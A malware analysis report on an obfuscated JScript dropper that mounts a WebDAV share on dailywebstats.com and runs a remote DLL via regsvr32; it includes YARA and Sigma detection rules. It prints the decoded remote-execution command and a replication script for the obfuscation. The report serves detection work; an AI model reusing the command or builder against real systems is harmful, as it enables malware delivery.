unclassified-js-webdav-dropper: 6f72a3a9 — 62-entry compound-phrase dictionary, dailywebstats.com:8888

Executive Summary

A 20.8 KB JScript dropper using a 62-entry dictionary lookup-table obfuscation with three-word non-alliterative English compound-phrase keys. Decodes at runtime via Function('return this')() global-object construction to a PowerShell -EncodedCommand wrapper that mounts dailywebstats.com:8888 via WebDAV and silently registers 314843136226301.dll via regsvr32 /s. Forty-third confirmed sibling of the unclassified-js-webdav-dropper family. Static-only; CAPE skipped (text file, not a binary).

What It Is

How It Works

Layer 1 — Dictionary lookup table (62 entries)

The first ~1,800 bytes define 62 key/value pairs in a JScript associative array (hovertastefulconnection). Keys are three-word non-alliterative English compound phrases (e.g. minorinfamoustrouble, societytastywitty, resonantboilingprepare), each mapping to a single printable ASCII character. ^[strings.txt:1]

hovertastefulconnection['minorinfamoustrouble']='9';
hovertastefulconnection['societytastywitty']='l';
hovertastefulconnection['resonantboilingprepare']='P';
// ... 59 more entries

Every ASCII letter (upper and lower), digit, and common punctuation mark is present. No duplicate values. Key style is distinct from the alliterative phrases (wide-eyedquickbrass) seen in ccb2d007 and cc90d6c, and distinct from the random noise strings (hrwfkasmlfbj) seen in df42ecf8 and 6b7435afd70e. ^[strings.txt:1]

Layer 2 — Nested try/catch decoys

The payload sits inside a doubly-nested try/catch block:

• Outer try: calls grainservantrampant() (undefined) → triggers catch(toycoordinatedroomy).
• Inner try: calls dresskneelpoke() (undefined) → triggers catch(biteelatedgrade).

Both function names are unique nonsense phrases. Naïve static analyzers following only the try branches miss the real behavior entirely. ^[strings.txt:1]

Layer 3 — Global-object construction via Function('return this')()

The inner catch block assembles the payload using concatenated dictionary lookups inside the Function() constructor:

Function(''+hovertastefulconnection['surroundsedateinsect']+hovertastefulconnection['gazeshadeblind']+...+'')()
  [''+hovertastefulconnection['guessdecorousgoofy']+...+'']
  [''+hovertastefulconnection['staydeerhateful']+...+'']
  (''+hovertastefulconnection['guessdecorousgoofy']+...+'')

This resolves to WScript.CreateObject('WScript.Shell').run(...) via the global this object in WSH. ^[strings.txt:1] ^[decoded payload via Python re+base64]

Layer 4 — PowerShell -EncodedCommand wrapper

The assembled command is a UTF-16-LE Base64-encoded PowerShell string:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\314843136226301.dll

Decoded via powershell.exe -EncodedCommand <base64>. ^[decoded payload via Python re+base64]

Execution chain

wscript.exe 6698101312154716856.js
  → powershell.exe -EncodedCommand <base64>
    → net.exe use \\dailywebstats.com@8888\davwwwroot\
    → regsvr32.exe /s \\dailywebstats.com@8888\davwwwroot\314843136226301.dll

No sandbox gate. No debugger checks. No connectivity checks. No persistence. One-shot dropper. No wordpad decoy.

Decompiled Behavior

Not applicable — script source is fully available. Static deobfuscation (Python re + base64) suffices. No compiled binary sections to analyze. CAPE skipped because the file is plain text. ^[dynamic-analysis.md]

C2 Infrastructure

The C2 host dailywebstats.com is shared with siblings e6ebae6a, cc90d6c, ccb2d007, and 6b7435afd70e, confirming a persistent infrastructure pool separate from the 45.9.74.x:8888 and cloudslimit.com:8888 clusters. The payload filename (314843136226301.dll) follows the timestamp-like naming convention observed across the family (30122106810637.dll, 2934213284196.dll).

Interesting Tidbits

• Non-alliterative compound-phrase keys. Unlike ccb2d007 (wide-eyedquickbrass) and cc90d6c (wholesaleentergullible), this sample uses three-word phrases that do not alliterate: minorinfamoustrouble, societytastywitty, resonantboilingprepare. This is a new key-naming dialect within the dictionary-obfuscation family. ^[strings.txt:1]
• Double try/catch nesting. Most siblings use a single try/catch decoy; this sample nests two levels (grainservantrampant → dresskneelpoke), possibly to frustrate static taint analyzers that stop at the first catch. ^[strings.txt:1]
• Larger file size. At 20.8 KB, this is larger than e6ebae6a (15 KB) and 6b7435afd70e (15.6 KB). The additional size comes from longer compound-phrase keys (avg ~20 chars vs ~12 chars in noise-key variants). ^[triage.json]
• No PowerShell -windowstyle hidden. The batch variants (ffd5d894, e11665cf) wrap the entire chain in powershell.exe -windowstyle hidden; this JScript variant uses only -EncodedCommand, relying on the JScript runtime to hide the console. ^[decoded payload via Python re+base64]
• Function('return this')() idiom. Explicitly constructs a global object to reach WScript without typing the literal — a variant of this['WScript'] seen in other JS droppers. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

# 1. Build a 62-entry dictionary with compound-phrase keys
import random, base64

chars = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= \\\\;:.@")
# pick 62 unique three-word phrases
phrases = [f"word{i}word{j}word{k}" for i in range(5) for j in range(5) for k in range(5)]
phrases = random.sample(phrases, 62)

dict_name = "hovertastefulconnection"
lines = [f"{dict_name}=[];"]
for p, c in zip(phrases, chars):
    lines.append(f"{dict_name}['{p}']='{c}';")

# 2. Encode your payload as UTF-16-LE Base64
payload = "net use \\\\example.com@8888\\davwwwroot\\ ; regsvr32 /s \\\\example.com@8888\\davwwwroot\\test.dll"
b64 = base64.b64encode(payload.encode('utf-16-le')).decode()

# 3. Assemble the JS: dictionary + nested try/catch + Function constructor + encoded payload
# See sibling reports for full template.

Verification: Save as .js, run cscript //nologo file.js in a lab VM with a local WebDAV share, confirm regsvr32 process spawn with UNC path.

Deployable Signatures

YARA rule

rule JS_WebDAV_Dropper_6f72a3a9 {
    meta:
        author = "PacketPursuit"
        description = "JScript WebDAV dropper with compound-phrase dictionary obfuscation"
        family = "unclassified-js-webdav-dropper"
        confidence = "high"
        date = "2026-07-04"
        sha256 = "6f72a3a915d69e757c8a7114f42c28ad6f8fdc6e96b5ccffa078c39e4df6643a"
    strings:
        $dict_pattern = /hovertastefulconnection=\[\];hovertastefulconnection\['[a-z]{10,30}'\]='/ nocase
        $function_constructor = "Function(''+"
        $wscript_shell = "'WScript.Shell'"
        $encoded_cmd = "-EncodedCommand"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32"
        $try_decoy1 = "grainservantrampant"
        $try_decoy2 = "dresskneelpoke"
    condition:
        filesize < 30KB and
        ($dict_pattern or ($try_decoy1 and $try_decoy2)) and
        $function_constructor and
        $wscript_shell and
        ($encoded_cmd or ($davwwwroot and $regsvr32))
}

Behavioral hunt query (Sigma — process_creation)

title: WebDAV Regsvr32 DLL Loading — 6f72a3a9 variant
status: experimental
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - '\\dailywebstats.com@8888\\'
            - '\\dailywebstats.com\\'
            - 'DavWWWRoot'
        Image|endswith: '\regsvr32.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint statement

This JScript dropper defines a 62-entry character lookup dictionary with three-word compound-phrase keys, assembles a PowerShell -EncodedCommand string via Function('return this')() global-object construction, and executes net use \\dailywebstats.com@8888\DavWWWRoot\ followed by regsvr32 /s on a remote DLL. No sandbox gate, no persistence, no wordpad decoy. Nested try/catch blocks use nonsense function names (grainservantrampant, dresskneelpoke) to hide the real payload from static analysis.

Detection Signatures

References

• Entity page: unclassified-js-webdav-dropper
• Technique pages: js-dictionary-char-lookup-obfuscation, webdav-regsvr32-dll-sideloading, function-return-this-global-construction
• Sibling analyses: e6ebae6a, df42ecf8, 6b7435afd70e, cc90d6c, ccb2d007

Provenance

• file.txt — file utility v5.44
• exiftool.json — ExifTool v12.76
• strings.txt — raw file contents (single line)
• triage.json — triage pipeline metadata
• metadata.json — artifact catalog metadata
• floss.txt — flare-floss skipped (not PE)
• capa.txt — capa v9 skipped (not PE)
• binwalk.txt — binwalk v2.3.4 (no embedded artefacts)
• dynamic-analysis.md — CAPE skipped (text file)
• Decoded payload recovered via Python 3.12 re + base64 on 2026-07-04